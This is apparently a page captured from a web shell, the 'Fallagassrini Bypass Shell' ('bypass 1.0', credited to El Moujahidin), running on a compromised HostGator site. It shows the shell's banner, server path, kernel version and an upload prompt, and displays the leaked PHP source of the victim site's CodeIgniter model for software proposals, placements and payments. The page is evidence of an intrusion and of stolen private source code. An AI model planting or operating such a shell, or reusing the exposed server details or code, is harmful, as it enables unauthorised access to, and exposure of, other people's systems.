? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/draft/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/draft/application/models/softwaremodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Softwaremodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }

    /*Search function starts here*/


    function search_software_proposal($pagenum)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        $this->db->from('software_proposal');
        $this->db->join('activity','activity.activity_id=software_proposal.activity_id');
        $this->db->join('customer','customer.customer_id=software_proposal.customer_id');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('software_proposal');
        $this->db->join('activity','activity.activity_id=software_proposal.activity_id');
        $this->db->join('customer','customer.customer_id=software_proposal.customer_id');
        if($flag==1)
        {
            $this->db->join('master','master.masterid=software_proposal.software_proposal_id');
            $this->db->where('`master`.`owner_id` IN ('.$_SESSION['employees'].')', NULL, FALSE);
        }
        $this->db->limit($perpage, $start);
        $this->db->order_by('software_proposal_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function insert_software_proposal($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $owner_id=$this->mastermodel->getSingleFieldValue('master','owner_id','masterid',$postdata['customer_id']);
        $masterid = $this->mastermodel->insertmasterdata($owner_id);
        $software_proposal_date = $this->mastermodel->convertdateformat($postdata['software_proposal_date']);
        $tblValues=array('software_proposal_id'=>$masterid,
                        'software_proposal_date'=>$software_proposal_date,
                        'software_proposal_title'=>$postdata['software_proposal_title'],
                        'activity_id'=>$postdata['activity_id'],
                        'customer_id'=>$postdata['customer_id'],
                        'source_id'=>$postdata['source_id'],
                        
                        'software_proposal_remarks'=>$postdata['software_proposal_remarks'],
                        'proposal_code'=>$postdata['proposal_code']);
        $this->db->insert('software_proposal', $tblValues);
        $i=1;
        while(isset($postdata['description'.$i]))
        {
            $tblValues=array('software_proposal_id'=>$masterid,
                        'description'=>$postdata['description'.$i],
                        'quantity'=>$postdata['quantity'.$i],
                        'price'=>$postdata['price'.$i],
                        'discount'=>$postdata['discount'.$i]);
            $this->db->insert('software_proposal_details', $tblValues);
            $i++;
        }
        $data['resfunction']='search_software_proposal';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function update_software_proposal($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $this->mastermodel->updatemasterdata($postdata['software_proposal_id']);
        $software_proposal_date = $this->mastermodel->convertdateformat($postdata['software_proposal_date']);
        $tblValues=array(
                        'software_proposal_date'=>$software_proposal_date,
                        'software_proposal_title'=>$postdata['software_proposal_title'],
                        'source_id'=>$postdata['source_id'],
                        
                        'software_proposal_remarks'=>$postdata['software_proposal_remarks'],
                      );
        $this->db->where('software_proposal_id', $postdata['software_proposal_id']);
        $this->db->update('software_proposal', $tblValues);
        

        $i=1;

        $this->db->where('software_proposal_id', $postdata['software_proposal_id']);
        $this->db->delete('software_proposal_details');
        while(isset($postdata['description'.$i]))
        {
            $tblValues=array('software_proposal_id'=> $postdata['software_proposal_id'],
                        'description'=>$postdata['description'.$i],
                        'quantity'=>$postdata['quantity'.$i],
                        'price'=>$postdata['price'.$i],
                        'discount'=>$postdata['discount'.$i]);
            $this->db->insert('software_proposal_details', $tblValues);
            $i++;
        }
        $data['resfunction']='search_software_proposal';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function search_placement($pagenum)
    {
        $data=array();
        if($this->mastermodel->check_private())
        {
            $flag=1;
        }
        else
        {
            $flag=0;
        }
        $this->db->from('software_placement');
        $this->db->join('software_proposal','software_proposal.software_proposal_id=software_placement.software_proposal_id');
        $this->db->join('customer','customer.customer_id=software_proposal.customer_id');
        $this->db->join('activity','activity.activity_id=software_proposal.activity_id');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('software_placement');
        $this->db->join('software_proposal','software_proposal.software_proposal_id=software_placement.software_proposal_id');
        $this->db->join('customer','customer.customer_id=software_proposal.customer_id');
        $this->db->join('activity','activity.activity_id=software_proposal.activity_id');
        if($flag==1)
        {
            $this->db->join('master','master.masterid=software_placement.placement_id');
            $this->db->where('`master`.`owner_id` IN ('.$_SESSION['employees'].')', NULL, FALSE);
        }
        $this->db->limit($perpage, $start);
        $this->db->order_by('placement_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function insert_placement($postdata)
    {
        $data=array();
        $owner_id=$this->mastermodel->getsinglejoinedvalue('owner_id','master','software_proposal','masterid','customer_id','software_proposal_id',$postdata['software_proposal_id']);
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata($owner_id);
        $placement_date = $this->mastermodel->convertdateformat($postdata['placement_date']);
        $tblValues=array('placement_id'=>$masterid,
                         'software_proposal_id'=>$postdata['software_proposal_id'],
                        'placement_date'=>$placement_date,
                        'placement_status'=>$postdata['placement_status'],
                        'placement_remarks'=>$postdata['placement_remarks'],
                        'terms_conditions'=> $postdata['terms_conditions']);
        $this->db->insert('software_placement', $tblValues);
        $data['placement_id']=$masterid;
        $i=1;
        while(isset($postdata['description'.$i]))
        {
            $tblValues=array('placement_id'=>$masterid,
                        'description'=>$postdata['description'.$i],
                        'quantity'=>$postdata['quantity'.$i],
                        'price'=>$postdata['price'.$i],
                        'discount'=>$postdata['discount'.$i]);
            $this->db->insert('software_placement_details', $tblValues);
            $i++;
        }
        $data['resfunction']='search_placement';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function update_placement($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->updatemasterdata($postdata['placement_id']);
        $placement_date = $this->mastermodel->convertdateformat($postdata['placement_date']);
        $tblValues=array(
                        'software_proposal_id'=>$postdata['software_proposal_id'],
                        'placement_date'=>$placement_date,
                        'placement_status'=>$postdata['placement_status'],
                        'terms_conditions'=>$postdata['terms_conditions'],
                        'placement_remarks'=>$postdata['placement_remarks']);
        $this->db->where('placement_id', $postdata['placement_id']);
        $this->db->update('software_placement', $tblValues);
        $i=1;
        
        $this->db->where('placement_id', $postdata['placement_id']);
        $this->db->delete('software_placement_details');
        while(isset($postdata['description'.$i]))
        {
            $tblValues=array('placement_id'=>$postdata['placement_id'],
                        'description'=>$postdata['description'.$i],
                        'quantity'=>$postdata['quantity'.$i],
                        'price'=>$postdata['price'.$i],
                        'discount'=>$postdata['discount'.$i]);
            $this->db->insert('software_placement_details', $tblValues);
            $i++;
        }
        $data['resfunction']='search_placement';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function update_placement_payment($postdata)
    {
        $data=array();
        $this->db->trans_begin();

        $refs=$this->mastermodel->get_data('refs_records',$postdata['placement_id'],'record_id');
        if(count($refs) != 0)
        {
            foreach($refs as $list)
            {
                $ref_id=$list['ref_id'];
                $this->db->where('ref_id',$ref_id);
                $this->db->delete('gl_trans');

                $this->db->where('ref_id',$ref_id);
                $this->db->delete('audit_trail');

                $this->db->where('ref_id',$ref_id);
                $this->db->delete('refs');

            }
            $this->db->where('placement_id',$postdata['placement_id']);
            $this->db->delete('software_placement_payment');
            $this->db->where('record_id',$postdata['placement_id']);
            $this->db->delete('refs_records');
        }
        $tblValues=array('placement_id'=> $postdata['placement_id'],
                         'payment_method'=> $postdata['payment_method'],
                         'amount'=> $postdata['amount']);
        $this->db->insert('software_placement_payment', $tblValues);

        $reference_code= $this->accountingmodel->getreferencecode(6);
        $ref_id = $this->mastermodel->insertmasterdata();
        $refdata=array('ref_id'=>$ref_id,
                        'ref_transaction_type_id'=>'6',
                        'ref_code'=>$reference_code);
        $this->db->insert('refs', $refdata);

        $refdata=array('ref_id'=>$ref_id,
                      'record_id'=>$_POST['placement_id'],
                      'type'=>'placement');
        $this->db->insert('refs_records', $refdata);

        $fiscal_year_id=$this->mastermodel->getSingleFieldValue('company','fiscal_year_id','company_id','1');

        $audittraildata=array('ref_id'=>$ref_id,
                              'transaction_date'=>date("Y-m-d"),
                              'fiscal_year'=>$fiscal_year_id,
                              );
        $this->db->insert('audit_trail', $audittraildata);

        $gldata=array('ref_id'=>$ref_id,
                      'transaction_date'=>date("Y-m-d"),
                      'account_code'=>$postdata['customer_account'],
                      'amount'=>$postdata['amount'],
                      );
        $this->db->insert('gl_trans', $gldata);

        $gldata=array('ref_id'=>$ref_id,
                      'transaction_date'=>date("Y-m-d"),
                      'account_code'=>$postdata['project_account'],
                      'amount'=>-$postdata['amount'],
                      );
        $this->db->insert('gl_trans', $gldata);

        $data['resfunction']='search_placement';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Payment Details Added Successfully';
            return $data;
        }
    }

    
    function get_proposal_info($software_proposal_id)
    {
        $this->db->select('*');
        $this->db->from('software_proposal');
        $this->db->join('customer','customer.customer_id=software_proposal.customer_id');
        $this->db->where('software_proposal_id',$software_proposal_id);
        $Q=$this->db->get();
        $row=$Q->row();
        return $row;
    }

    
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net